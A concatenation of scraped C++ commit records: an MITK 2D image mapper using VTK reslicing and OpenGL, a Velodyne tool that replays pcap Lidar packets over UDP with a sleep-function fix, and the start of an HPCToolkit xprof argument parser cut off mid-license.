\"mitkLookupTableProperty.h\"\n#include \"mitkBoolProperty.h\"\n#include \"mitkLevelWindowProperty.h\"\n\n#include \"mitkRenderWindow.h\"\n#include \"mitkAbstractTransformGeometry.h\"\n\n#include <vtkImageReslice.h>\n#include <vtkTransform.h>\n#include <vtkMatrix4x4.h>\n#include <vtkLookupTable.h>\n\nint mitk::ImageMapper2D::numRenderer = 0;\n \n\nmitk::ImageMapper2D::ImageMapper2D() : m_SliceSelector(NULL)\n{\n \/\/ Modify superclass default values, can be overridden by subclasses\n this->SetNumberOfRequiredInputs(1);\n\n m_SliceSelector = ImageSliceSelector::New();\n m_Reslicer = vtkImageReslice::New();\n\n}\n\n\/\/##ModelId=3E32DCF60043\nmitk::ImageMapper2D::~ImageMapper2D()\n{\n \/\/@FIXME: durch die folgende Zeile sollte doch wohl der desctructor von RendererInfo aufgerufen werden. Das passiert aber nie. Deshalb wird bei der Programm-Beendung auch das iilImage und damit die textur nicht rechtzeitig freigegeben und das Programm crashed.\n m_RendererInfo.clear();\n}\n\n\/\/##ModelId=3E3D834B003A\nvoid mitk::ImageMapper2D::GenerateData()\n{\n\n}\n\nvoid mitk::ImageMapper2D::Paint(mitk::BaseRenderer * renderer)\n{\n if(IsVisible(renderer)==false) return;\n\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n iilPicImage*& image = renderinfo.m_iilImage;\n\n Update(renderer);\n\n const mitk::DisplayGeometry* displayGeometry = renderer->GetDisplayGeometry();\n\n Vector2D oldtopLeft=displayGeometry->GetOriginInUnits();\n Vector2D oldbottomRight=displayGeometry->GetOriginInUnits()+displayGeometry->GetSizeInUnits();\n\n Vector2D topLeft;\n Vector2D bottomRight;\n topLeft=displayGeometry->GetOriginInDisplayUnits();\n bottomRight=topLeft+displayGeometry->GetSizeInDisplayUnits();\n\n displayGeometry->DisplayToMM(topLeft, topLeft); topLeft.x*=renderinfo.m_PixelsPerMM.x; topLeft.y*=renderinfo.m_PixelsPerMM.y;\n displayGeometry->DisplayToMM(bottomRight, bottomRight); bottomRight.x*=renderinfo.m_PixelsPerMM.x; bottomRight.y*=renderinfo.m_PixelsPerMM.y;\n\n \/\/test - small differences noticed for unisotropic datasets.\n if((Vector2D(oldtopLeft-topLeft).length()>0.1) || (Vector2D(oldbottomRight-bottomRight).length()>0.1))\n {\n itkWarningMacro(\"oldtopLeft!=topLeft in ImageMapper2D\");\n }\n\n glMatrixMode (GL_PROJECTION);\n glLoadIdentity ();\n gluOrtho2D(topLeft.x, bottomRight.x, topLeft.y, bottomRight.y );\n glMatrixMode( GL_MODELVIEW );\n\n GLdouble eqn0[4] = {0.0, 1.0, 0.0, 0.0};\n GLdouble eqn1[4] = {1.0, 0.0, 0.0, 0.0};\n GLdouble eqn2[4] = {-1.0, 0.0 , 0.0, image->width()};\n GLdouble eqn3[4] = {0, -1.0, 0.0, image->height() };\n\n glClipPlane (GL_CLIP_PLANE0, eqn0);\n glEnable (GL_CLIP_PLANE0);\n glClipPlane (GL_CLIP_PLANE1, eqn1);\n glEnable (GL_CLIP_PLANE1);\n glClipPlane (GL_CLIP_PLANE2, eqn2);\n glEnable (GL_CLIP_PLANE2);\n glClipPlane (GL_CLIP_PLANE3, eqn3);\n glEnable (GL_CLIP_PLANE3);\n\n image->display(renderer->GetRenderWindow());\n\n glDisable (GL_CLIP_PLANE0);\n glDisable (GL_CLIP_PLANE1);\n glDisable (GL_CLIP_PLANE2);\n glDisable (GL_CLIP_PLANE3);\n\n glPushMatrix ();\n glMatrixMode (GL_PROJECTION);\n glLoadIdentity ();\n gluOrtho2D(0, displayGeometry->GetDisplayWidth(), 0, displayGeometry->GetDisplayHeight() );\n glMatrixMode( GL_MODELVIEW );\n glPopMatrix ();\n}\n\n\/\/##ModelId=3E3D834B0008\nconst mitk::ImageMapper2D::InputImageType *mitk::ImageMapper2D::GetInput(void)\n{\n if (this->GetNumberOfInputs() < 1)\n {\n return 0;\n }\n\n return static_cast<const mitk::ImageMapper2D::InputImageType * >\n ( GetData() );\n}\n\n\/\/##ModelId=3E6E83B00343\nint mitk::ImageMapper2D::GetAssociatedChannelNr(mitk::BaseRenderer *renderer)\n{\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n if(renderinfo.m_RendererId < 0)\n renderinfo.m_RendererId = ImageMapper2D::numRenderer++;\n\n return renderinfo.m_RendererId;\n}\n\n\/\/##ModelId=3E8607D20380\nvoid mitk::ImageMapper2D::GenerateOutputInformation()\n{\n mitk::Image::Pointer output = this->GetOutput();\n mitk::PixelType pt(typeid(int));\n unsigned int dim[]={256,256};\n output->Initialize(mitk::PixelType(typeid(short int)), 2, dim, 10);\n}\n\n\/\/##ModelId=3ED932B00140\nvoid mitk::ImageMapper2D::GenerateData(mitk::BaseRenderer *renderer)\n{\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n\n iilPicImage*& image = renderinfo.m_iilImage;\n\n mitk::Image::Pointer input = const_cast<mitk::ImageMapper2D::InputImageType *>(this->GetInput());\n\n if(image!= NULL)\n {\n delete image;\n image = NULL;\n }\n\n if(renderinfo.m_Pic)\n {\n ipPicFree(renderinfo.m_Pic);\n renderinfo.m_Pic = NULL;\n }\n\n if(renderinfo.m_RendererId < 0)\n renderinfo.m_RendererId = ImageMapper2D::numRenderer++;\n\n if(input.IsNotNull())\n {\n vtkImageData* inputData = input->GetVtkImageData();\n const PlaneView* planeview=NULL;\n\n const Geometry2D* worldgeometry = renderer->GetWorldGeometry();\n\n if(dynamic_cast<const PlaneGeometry *>(worldgeometry)!=NULL)\n {\n planeview=&dynamic_cast<const PlaneGeometry *>(worldgeometry)->GetPlaneView();\n m_Reslicer->SetResliceTransform(NULL);\n }\n else\n if(dynamic_cast<const AbstractTransformGeometry *>(worldgeometry)!=NULL)\n {\n const AbstractTransformGeometry *abstractGeometry=dynamic_cast<const AbstractTransformGeometry *>(worldgeometry);\n planeview=&abstractGeometry->GetPlaneView();\n m_Reslicer->SetResliceTransform(abstractGeometry->GetVtkAbstractTransform());\n \/\/m_Reslicer->DebugOn();\n }\n else\n return;\n\n assert(planeview!=NULL);\n assert(planeview->normal.length()>0.1);\n\n vtkMatrix4x4* geometry = vtkMatrix4x4::New();\n geometry->Identity();\n\n m_Reslicer->SetInput(inputData);\n m_Reslicer->SetOutputDimensionality(2);\n m_Reslicer->SetOutputOrigin(0,0,0);\n\n m_Reslicer->SetBackgroundLevel(-1024);\n\n \/\/let's define how many pixels we really want to sample: width x height pixels\n int width, height;\n \/\/let's use the values of worldgeometry->GetWidthInUnits() and worldgeometry->GetHeightInUnits() for that purpose\n \/\/maybe it is useful to add here a more sophisticated rule that depends on the actual size of the current display, so not to\n \/\/sample 1000x1000 pixels for a display of 10x10 pixels\n width=worldgeometry->GetWidthInUnits();\n height=worldgeometry->GetHeightInUnits();\n renderinfo.m_PixelsPerMM.set(width\/planeview->getLengthOfOrientation1(), height\/planeview->getLengthOfOrientation2());\n\n m_Reslicer->SetOutputSpacing(1.0\/renderinfo.m_PixelsPerMM.x, 1.0\/renderinfo.m_PixelsPerMM.y, 1.0);\n m_Reslicer->SetOutputExtent(0, width-1, 0, height-1, 0, 1);\n\n \/\/calulate the origin and the orientations for the reslice-filter\n double origin[3];\n vec2vtk(planeview->point, origin);\n\n m_Reslicer->SetResliceAxes(geometry);\n m_Reslicer->SetResliceAxesOrigin(origin);\n \/\/ m_Reslicer->SetInterpolationModeToLinear();\n double cosines[9];\n Vector3f orient1 = planeview->getOrientation1();\n orient1.normalize();\n\n Vector3f orient2 = planeview->getOrientation2();\n orient2.normalize();\n\n \/\/ direction of the X-axis of the sampled result\n vec2vtk(orient1, cosines);\n\n \/\/ direction of the Y-axis of the sampled result\n vec2vtk(orient2, cosines+3);\n\n \/\/ normal of the plane\n vec2vtk(planeview->normal, cosines+6);\n\n m_Reslicer->SetResliceAxesDirectionCosines(cosines);\n\n \/\/do the reslicing\n m_Reslicer->Update();\n\n vtkImageData* vtkoutput = m_Reslicer->GetOutput();\n\n assert(vtkoutput);\n\n \/\/\tstd::cout << vtkoutput <<std::endl;\n ipPicDescriptor* pic = Pic2vtk::convert(vtkoutput);\n assert(pic);\n if(pic->dim==1)\n {\n pic->dim=2;\n pic->n[1]=1;\n }\n assert(pic->dim == 2);\n\n renderinfo.m_Pic = pic;\n\n \/\/std::cout << \"Pic dimensions:\" << pic->dim << std::endl;\n\n image = new iilPicImage(NULL, \"ll\", 512);\n\n ApplyProperties(renderer);\n\/\/ image->setImage(pic, iilImage::INTENSITY_ALPHA);\n\t image->setImage(pic, m_iilMode);\n image->setInterpolation(true);\n image->setRegion(0,0,pic->n[0],pic->n[1]);\n\n\n\n mitk::Image::Pointer output = this->GetOutput();\n\n \/\/if(renderinfo.m_RendererId < 10)\n \/\/\toutput->SetPicSlice(pic,0,0,renderinfo.m_RendererId);\n output->Modified();\n renderinfo.m_LastUpdateTime=output->GetMTime();\n }\n return;\n}\n\nvoid mitk::ImageMapper2D::GenerateAllData()\n{\n std::map<mitk::BaseRenderer*,RendererInfo>::iterator it=m_RendererInfo.begin();\n for(;it!=m_RendererInfo.end();++it)\n Update(it->first);\n}\n\nvoid mitk::ImageMapper2D::ApplyProperties(mitk::BaseRenderer* renderer)\n{\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n iilPicImage*& image = renderinfo.m_iilImage;\n\n assert(image != NULL);\n\n float rgba[4]={1.0f,1.0f,1.0f,1.0f};\n \/\/ check for color prop and use it for rendering if it exists\n GetColor(rgba, renderer);\n \/\/ check for opacity prop and use it for rendering if it exists\n GetOpacity(rgba[3], renderer);\n\n mitk::LevelWindow levelWindow;\n \/\/ check for level window prop and use it for display if it exists\n GetLevelWindow(levelWindow, renderer);\n\n\n mitk::LookupTableProperty::Pointer LookupTable;\n LookupTable = dynamic_cast<mitk::LookupTableProperty*>(this->GetDataTreeNode()->GetProperty(\"LookupTable\").GetPointer());\n\tif (LookupTable.IsNull() )\n\t{\n\t\tm_iilMode = iilImage::INTENSITY_ALPHA;\n\t image->setColor(rgba[0], rgba[1], rgba[2], rgba[3]);\n\t}\n\telse {\n\t\tm_iilMode = iilImage::COLOR_ALPHA;\n\t\timage->setColors(LookupTable->GetLookupTable().GetRawLookupTable());\n\t}\n\n mitk::BoolProperty::Pointer binary;\n binary = dynamic_cast<mitk::BoolProperty*>(this->GetDataTreeNode()->GetProperty(\"binary\").GetPointer());\n\n mitk::LevelWindowProperty::Pointer overwriteLevelWindow;\n overwriteLevelWindow = dynamic_cast<mitk::LevelWindowProperty*>(this->GetDataTreeNode()->GetProperty(\"levelWindow\").GetPointer());\n\n if (binary.IsNotNull() )\n {\n image->setExtrema(0, 1);\n }\n else if (overwriteLevelWindow.IsNotNull() )\n {\n image->setExtrema(overwriteLevelWindow->GetLevelWindow().GetMin(), overwriteLevelWindow->GetLevelWindow().GetMax());\n }\n else\n {\n \/\/ set the properties\n image->setExtrema(levelWindow.GetMin(), levelWindow.GetMax());\n }\n\/\/ image->setColor(rgba[0], rgba[1], rgba[2], rgba[3]);\n}\n\nvoid mitk::ImageMapper2D::Update(mitk::BaseRenderer* renderer)\n{\n\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n DataTreeNode* node=GetDataTreeNode();\n iilPicImage*& image = renderinfo.m_iilImage;\n\n if(\n (image == NULL) ||\n (renderinfo.m_RendererId < 0) ||\n (renderinfo.m_LastUpdateTime < node->GetMTime()) ||\n (renderinfo.m_LastUpdateTime < renderer->GetWorldGeometryUpdateTime()) ||\n (renderinfo.m_LastUpdateTime < renderer->GetDisplayGeometryUpdateTime())\n )\n GenerateData(renderer);\n else\n if(\n (renderinfo.m_LastUpdateTime < renderer->GetWorldGeometry()->GetMTime())\n \/\/&&\n \/\/(renderinfo.m_LastUpdateTime < renderer->GetMTime())\n )\n GenerateData(renderer);\n else\n if(\n (renderinfo.m_LastUpdateTime < node->GetPropertyList()->GetMTime()) ||\n (renderinfo.m_LastUpdateTime < node->GetPropertyList(renderer)->GetMTime())\n )\n {\n ApplyProperties(renderer);\n \/\/ since we have checked that nothing important has changed, we can set m_LastUpdateTime\n \/\/ to the current time\n mitk::Image::Pointer output = this->GetOutput();\n output->Modified();\n renderinfo.m_LastUpdateTime=output->GetMTime();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 Velodyne Acoustics, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: PacketFileSender.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ .NAME PacketFileSender -\n\/\/ .SECTION Description\n\/\/ This program reads a pcap file and sends the packets using UDP.\n\n#include \"vtkPacketFileReader.h\"\n#include \"vvPacketSender.h\"\n\n#include <cstdlib>\n#include <ctime>\n#include <iostream>\n#include <string>\n\n#include <boost\/thread\/thread.hpp>\n\nint main(int argc, char* argv[])\n{\n\n if (argc < 2) {\n std::cout << \"Usage: \" << argv[0] << \" <packet file> [loop] [ip] [dataPort] [position Port] [PlaybackSpeedMultiplier]\" << std::endl;\n return 1;\n }\n std::string filename(argv[1]);\n\n int loop = 0;\n double speed = 1;\n std::string destinationIp = \"127.0.0.1\";\n int dataPort=2368;\n int positionPort=8308;\n if(argc > 2)\n {\n loop = atoi(argv[2]);\n }\n if(argc > 3)\n {\n destinationIp = argv[3];\n }\n if(argc>5)\n {\n dataPort=atoi(argv[4]);\n positionPort=atoi(argv[5]);\n }\n if(argc>6)\n {\n speed = static_cast<double>(atof(argv[6]));\n }\n\n \/\/ Default time to wait -> it is the elapsed\n \/\/ time between two firing of a HDL-32 sensor\n const int defaultTimeToWait = 553;\n\n \/\/ The sensor send one packet every hundreds microseconds\n \/\/ thus, the first initialization of timeToWait is defaultTimeToWait\n int timeToWaitPerPacket = static_cast<int>(1.0 \/ speed * defaultTimeToWait);\n\n \/\/ The timer's resolution is only 1000 microsecond\n \/\/ But we need to send packets every X microseconds\n \/\/ Thus, we send packet by group of NumberPacketsByPool\n \/\/ and then wait the necessary time\n int NumberPacketsByPool = 40;\n\n \/\/ The minimalTimeToWait resolution so that\n \/\/ timeToWait * NumberPacketsByPool > 1000\n double minimalTimeToWait = 1000.0\/NumberPacketsByPool;\n\n \/\/ Measurement of the sleep\n clock_t T1, T2;\n double elapsedTimeMeasured;\n double timeMicroSecond = 0;\n double elapsedTimeBetweenPackets = 0;\n\n std::cout << \"Start sending\" << std::endl;\n try\n {\n do\n {\n vvPacketSender sender(filename, destinationIp, dataPort, positionPort);\n \/\/ socket.connect(destinationEndpoint);\n\n sender.pumpPacket();\n while (!sender.done())\n {\n \/\/ Get the timestamp of the packet to compute\n \/\/ the next timeToWait\n int currentTimeDiff = sender.pumpPacket();\n\n \/\/ Elapsed time measured from the timestamp of the packets\n \/\/ This timestamp will be used to compute the next time to wait\n elapsedTimeBetweenPackets += currentTimeDiff;\n\n \/\/ Every 1000 packets sent, give some information\n \/\/ about the number of packet sent, the elapsed time\n \/\/ and the next time to wait for the 1000 next packets\n if ((sender.packetCount() % 1000) == 0)\n {\n \/\/ Elapsed time measured from the clock of the computer\n \/\/ This timestamp will be used to inform the user\n \/\/ This timestamp should be greater than elapsedTime2\n T2 = std::clock();\n elapsedTimeMeasured = T2 - T1;\n std::cout << \"total sent packets : \" << sender.packetCount() << std::endl\n <<\" Elapsed time per packets asked : \" << timeToWaitPerPacket << \" microseconds\" << std::endl\n <<\" Elapsed time per packets measured : \" << elapsedTimeMeasured * 1e6 \/ 1000\n << \" microseconds\" << std::endl\n << std::endl;\n\n timeToWaitPerPacket = static_cast<int>(1.0 \/ speed * elapsedTimeBetweenPackets \/ 1000);\n\n \/\/ If the computed timeToWait is too high we assume that\n \/\/ there is a corruption into the packets timestamp\n \/\/ then we set the timeToWait to the HDL-32 firing rate\n if(timeToWaitPerPacket > 2500)\n {\n timeToWaitPerPacket = static_cast<int>(1.0 \/ speed * defaultTimeToWait);\n }\n\n \/\/ If the computed timeToWait is under the minimal resolution\n \/\/ we set the timeToWait to this minimal resolution\n if(timeToWaitPerPacket < minimalTimeToWait)\n {\n timeToWaitPerPacket = static_cast<int>(minimalTimeToWait);\n }\n\n \/\/ Refresh the measured timestamps\n T1 = std::clock();\n elapsedTimeBetweenPackets = 0;\n }\n\n \/\/ boost::this_thread::sleep(boost::posix_time::microseconds(553));\n \/\/ Every NumberPacketsByPool packets we wait to be consistent with\n \/\/ the real recording of the data. The number of packets should not be\n \/\/ too small -> the clock resolution is 1000 microsecond. Hence,\n \/\/ NumberPacketsByPool * timeToWait should be greater than 1000\n if ((sender.packetCount() % NumberPacketsByPool) == 0)\n {\n sleep(NumberPacketsByPool * timeToWaitPerPacket);\n }\n }\n } while(loop);\n }\n catch( std::exception & e )\n {\n std::cout << \"Caught Exception: \" << e.what() << std::endl;\n return 1;\n }\n\n return 0;\n}\n<commit_msg>sleep is a GCC function. Changed by boost::this_thread::sleep<commit_after>\/\/ Copyright 2013 Velodyne Acoustics, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: PacketFileSender.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ .NAME PacketFileSender -\n\/\/ .SECTION Description\n\/\/ This program reads a pcap file and sends the packets using UDP.\n\n#include \"vtkPacketFileReader.h\"\n#include \"vvPacketSender.h\"\n\n#include <cstdlib>\n#include <ctime>\n#include <iostream>\n#include <string>\n\n#include <boost\/thread\/thread.hpp>\n\nint main(int argc, char* argv[])\n{\n\n if (argc < 2) {\n std::cout << \"Usage: \" << argv[0] << \" <packet file> [loop] [ip] [dataPort] [position Port] [PlaybackSpeedMultiplier]\" << std::endl;\n return 1;\n }\n std::string filename(argv[1]);\n\n int loop = 0;\n double speed = 1;\n std::string destinationIp = \"127.0.0.1\";\n int dataPort=2368;\n int positionPort=8308;\n if(argc > 2)\n {\n loop = atoi(argv[2]);\n }\n if(argc > 3)\n {\n destinationIp = argv[3];\n }\n if(argc>5)\n {\n dataPort=atoi(argv[4]);\n positionPort=atoi(argv[5]);\n }\n if(argc>6)\n {\n speed = static_cast<double>(atof(argv[6]));\n }\n\n \/\/ Default time to wait -> it is the elapsed\n \/\/ time between two firing of a HDL-32 sensor\n const int defaultTimeToWait = 553;\n\n \/\/ The sensor send one packet every hundreds microseconds\n \/\/ thus, the first initialization of timeToWait is defaultTimeToWait\n int timeToWaitPerPacket = static_cast<int>(1.0 \/ speed * defaultTimeToWait);\n\n \/\/ The timer's resolution is only 1000 microsecond\n \/\/ But we need to send packets every X microseconds\n \/\/ Thus, we send packet by group of NumberPacketsByPool\n \/\/ and then wait the necessary time\n int NumberPacketsByPool = 40;\n\n \/\/ The minimalTimeToWait resolution so that\n \/\/ timeToWait * NumberPacketsByPool > 1000\n double minimalTimeToWait = 1000.0\/NumberPacketsByPool;\n\n \/\/ Measurement of the sleep\n clock_t T1, T2;\n double elapsedTimeMeasured;\n double timeMicroSecond = 0;\n double elapsedTimeBetweenPackets = 0;\n\n std::cout << \"Start sending\" << std::endl;\n try\n {\n do\n {\n vvPacketSender sender(filename, destinationIp, dataPort, positionPort);\n \/\/ socket.connect(destinationEndpoint);\n\n sender.pumpPacket();\n while (!sender.done())\n {\n \/\/ Get the timestamp of the packet to compute\n \/\/ the next timeToWait\n int currentTimeDiff = sender.pumpPacket();\n\n \/\/ Elapsed time measured from the timestamp of the packets\n \/\/ This timestamp will be used to compute the next time to wait\n elapsedTimeBetweenPackets += currentTimeDiff;\n\n \/\/ Every 1000 packets sent, give some information\n \/\/ about the number of packet sent, the elapsed time\n \/\/ and the next time to wait for the 1000 next packets\n if ((sender.packetCount() % 1000) == 0)\n {\n \/\/ Elapsed time measured from the clock of the computer\n \/\/ This timestamp will be used to inform the user\n \/\/ This timestamp should be greater than elapsedTime2\n T2 = std::clock();\n elapsedTimeMeasured = T2 - T1;\n std::cout << \"total sent packets : \" << sender.packetCount() << std::endl\n <<\" Elapsed time per packets asked : \" << timeToWaitPerPacket << \" microseconds\" << std::endl\n <<\" Elapsed time per packets measured : \" << elapsedTimeMeasured\n << \" microseconds\" << std::endl\n << std::endl;\n\n timeToWaitPerPacket = static_cast<int>(1.0 \/ speed * elapsedTimeBetweenPackets \/ 1000);\n\n \/\/ If the computed timeToWait is too high we assume that\n \/\/ there is a corruption into the packets timestamp\n \/\/ then we set the timeToWait to the HDL-32 firing rate\n if(timeToWaitPerPacket > 2500)\n {\n timeToWaitPerPacket = static_cast<int>(1.0 \/ speed * defaultTimeToWait);\n }\n\n \/\/ If the computed timeToWait is under the minimal resolution\n \/\/ we set the timeToWait to this minimal resolution\n if(timeToWaitPerPacket < minimalTimeToWait)\n {\n timeToWaitPerPacket = static_cast<int>(minimalTimeToWait);\n }\n\n \/\/ Refresh the measured timestamps\n T1 = std::clock();\n elapsedTimeBetweenPackets = 0;\n }\n\n \/\/ boost::this_thread::sleep(boost::posix_time::microseconds(553));\n \/\/ Every NumberPacketsByPool packets we wait to be consistent with\n \/\/ the real recording of the data. The number of packets should not be\n \/\/ too small -> the clock resolution is 1000 microsecond. Hence,\n \/\/ NumberPacketsByPool * timeToWait should be greater than 1000\n if ((sender.packetCount() % NumberPacketsByPool) == 0)\n {\n boost::this_thread::sleep(boost::posix_time::microseconds(NumberPacketsByPool * timeToWaitPerPacket));\n }\n }\n } while(loop);\n }\n catch( std::exception & e )\n {\n std::cout << \"Caught Exception: \" << e.what() << std::endl;\n return 1;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ $Id$\n\/\/ -*-C++-*-\n\/\/ * BeginRiceCopyright *****************************************************\n\/\/ \n\/\/ Copyright ((c)) 2002, Rice University \n\/\/ All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/ \n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ \n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ \n\/\/ * Neither the name of Rice University (RICE) nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/ \n\/\/ This software is provided by RICE and contributors \"as is\" and any\n\/\/ express or implied warranties, including, but not limited to, the\n\/\/ implied warranties of merchantability and fitness for a particular\n\/\/ purpose are disclaimed. In no event shall RICE or contributors be\n\/\/ liable for any direct, indirect, incidental, special, exemplary, or\n\/\/ consequential damages (including, but not limited to, procurement of\n\/\/ substitute goods or services; loss of use, data, or profits; or\n\/\/ business interruption) however caused and on any theory of liability,\n\/\/ whether in contract, strict liability, or tort (including negligence\n\/\/ or otherwise) arising in any way out of the use of this software, even\n\/\/ if advised of the possibility of such damage. \n\/\/ \n\/\/ ******************************************************* EndRiceCopyright *\n\n\/\/***************************************************************************\n\n\/\/************************* System Include Files ****************************\n\n#include <iostream>\n\n#include <unistd.h> \/\/ for 'getopt'\n\n\/\/*************************** User Include Files ****************************\n\n#include \"Args.h\"\n#include <lib\/support\/String.h>\n#include <lib\/support\/Trace.h>\n\n\/\/*************************** Forward Declarations **************************\n\nusing std::cerr;\nusing std::endl;\n\n\/\/***************************************************************************\n\nconst char* hpctoolsVerInfo=\n#include <include\/HPCToolkitVersionInfo.h>\n\nvoid Args::Version()\n{\n cerr << cmd << \": \" << hpctoolsVerInfo << endl;\n}\n\nvoid Args::Usage()\n{\n cerr\n << \"Usage: \" << endl\n << \" \" << cmd << \" [-l | -L] <binary> <profile>\\n\"\n << \" \" << cmd << \" [-V] [ [-M <mlist>] [-X <xlist>] [-R] ] <binary> <profile>\\n\"\n \n << endl;\n cerr\n << \"Converts various types of profile output into the PROFILE format,\\n\"\n << \"which, in particular, associates source file line information from\\n\"\n << \"<binary> with profile data from <profile>. In effect, the output is\\n\"\n << \"a [source-line -> PC-profile-data] map represented as a XML scope\\n\"\n << \"tree (e.g. file, procedure, statement). Output is sent to stdout.\\n\"\n << \"\\n\"\n << \"By default, xprof determines a set of metrics available for the\\n\" \n << \"given profile data and includes all of them in the PROFILE output.\\n\"\n << \"\\n\"\n#if 0 \/\/ FIXME '[-m <bloop-pcmap>]'\n << \"If no <bloop-pcmap> -- a map extended with analysis information\\n\"\n << \"from 'bloop' -- is provided, the program attempts to construct\\n\"\n << \"the PROFILE by querying the <binary>'s debugging information.\\n\"\n << \"Because of the better analysis ability of 'bloop', a <bloop-pcmap>\\n\"\n << \"usually improves the accuracy of the PROFILE. Moreover, because\\n\"\n << \"no loop recovery is performed, providing <bloop-pcmap> enables\\n\"\n << \"the PROFILE to represent loop nesting information.\\n\"\n << \"[*Not fully implemented.*]\\n\"\n << \"\\n\"\n << \" -m: specify <bloop-pcmap>\\n\"\n#endif \n << \"The following <profile> formats are currently supported: \\n\"\n << \" - DEC\/Compaq\/HP's DCPI 'dcpicat' (including ProfileMe) \\n\"\n << \"\\n\"\n << \"Listing available metrics:\\n\"\n << \" -l List all derived metrics, in compact form, available from\\n\"\n << \" <profile> and suppress generation of PROFILE output.\\n\"\n << \" Note that this output can be used with the -M option.\\n\"\n << \" -L List all derived metrics, in long form, available from\\n\"\n << \" <profile> and suppress generation of PROFILE output.\\n\"\n << \"\\n\" \n << \"Normal Mode:\\n\"\n << \" -V Print version information.\\n\"\n << \" -M mlist Optional colon-separated metric inclusion list. Replaces\\n\"\n << \" the default metric list. Metrics in PROFILE output will.\\n\"\n << \" follow this ordering. Duplicates are allowed (though\\n\"\n << \" not recommended).\\n\"\n << \" -X xlist Optional colon-separated metric exclusion list. Excludes\\n\"\n << \" the listed metrics from either the default metric list or\\n\"\n << \" the list specified with -M.\\n\"\n << \" -R (Most will not find this useful.) For some profile data,\\n\"\n << \" such as DCPI's ProfileMe, the default is to output derived\\n\"\n << \" metrics, not the underlying raw metrics; this option\\n\"\n << \" forces output of only the raw metrics. Should not be\\n\"\n << \" used with -M or -X.\\n\"\n << endl;\n} \n\nArgs::Args(int argc, char* const* argv)\n{\n cmd = argv[0]; \n\n bool printVersion = false;\n listAvailableMetrics = 0; \/\/ 0: no, 1: short, 2: long\n outputRawMetrics = false;\n \n extern char *optarg;\n extern int optind;\n bool error = false;\n trace = 0;\n int c;\n while ((c = getopt(argc, argv, \"Vm:lLM:X:Rd\")) != EOF) {\n switch (c) {\n case 'V': { \n printVersion = true;\n break; \n }\n case 'm': {\n \/\/ A non-null value of 'pcMapFile' indicates it has been set\n if (optarg == NULL) { error = true; }\n pcMapFile = optarg;\n break; \n }\n\n case 'l': { \n listAvailableMetrics = 1;\n break; \n }\n case 'L': { \n listAvailableMetrics = 2;\n break; \n }\n\n case 'M': {\n if (optarg == NULL) { error = true; }\n metricList = optarg;\n break; \n }\n case 'X': {\n if (optarg == NULL) { error = true; }\n excludeMList = optarg;\n break; \n }\n case 'R': { \n outputRawMetrics = true;\n break; \n }\n\n case 'd': { \/\/ debug \n trace++; \n break; \n }\n case ':':\n case '?': { \/\/ error\n error = true; \n break; \n }\n }\n }\n\n error = error || (optind != argc-2); \n if (!error) {\n progFile = argv[optind];\n profFile = argv[optind+1]; \n } \n\n \/\/ Sanity check: -M,-X and -R should not be used at the same time\n if ( (!metricList.Empty() || !excludeMList.Empty()) && outputRawMetrics) {\n cerr << \"Error: -M or -X cannot be used with -R.\\n\";\n error = true;\n }\n\n IFTRACE << \"Args.cmd= \" << cmd << endl; \n IFTRACE << \"Args.progFile= \" << progFile << endl;\n IFTRACE << \"Args.profFile= \" << profFile << endl;\n IFTRACE << \"Args.pcMapFile= \" << pcMapFile << endl;\n IFTRACE << \"::trace \" << ::trace << endl; \n\n if (printVersion) {\n Version();\n exit(1);\n }\n \n if (error) {\n Usage(); \n exit(1); \n }\n}\n\n<commit_msg>Allow multiple -M and -X options.<commit_after>\/\/ $Id$\n\/\/ -*-C++-*-\n\/\/ * BeginRiceCopyright *****************************************************\n\/\/ \n\/\/ Copyright ((c)) 2002, Rice University \n\/\/ All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that 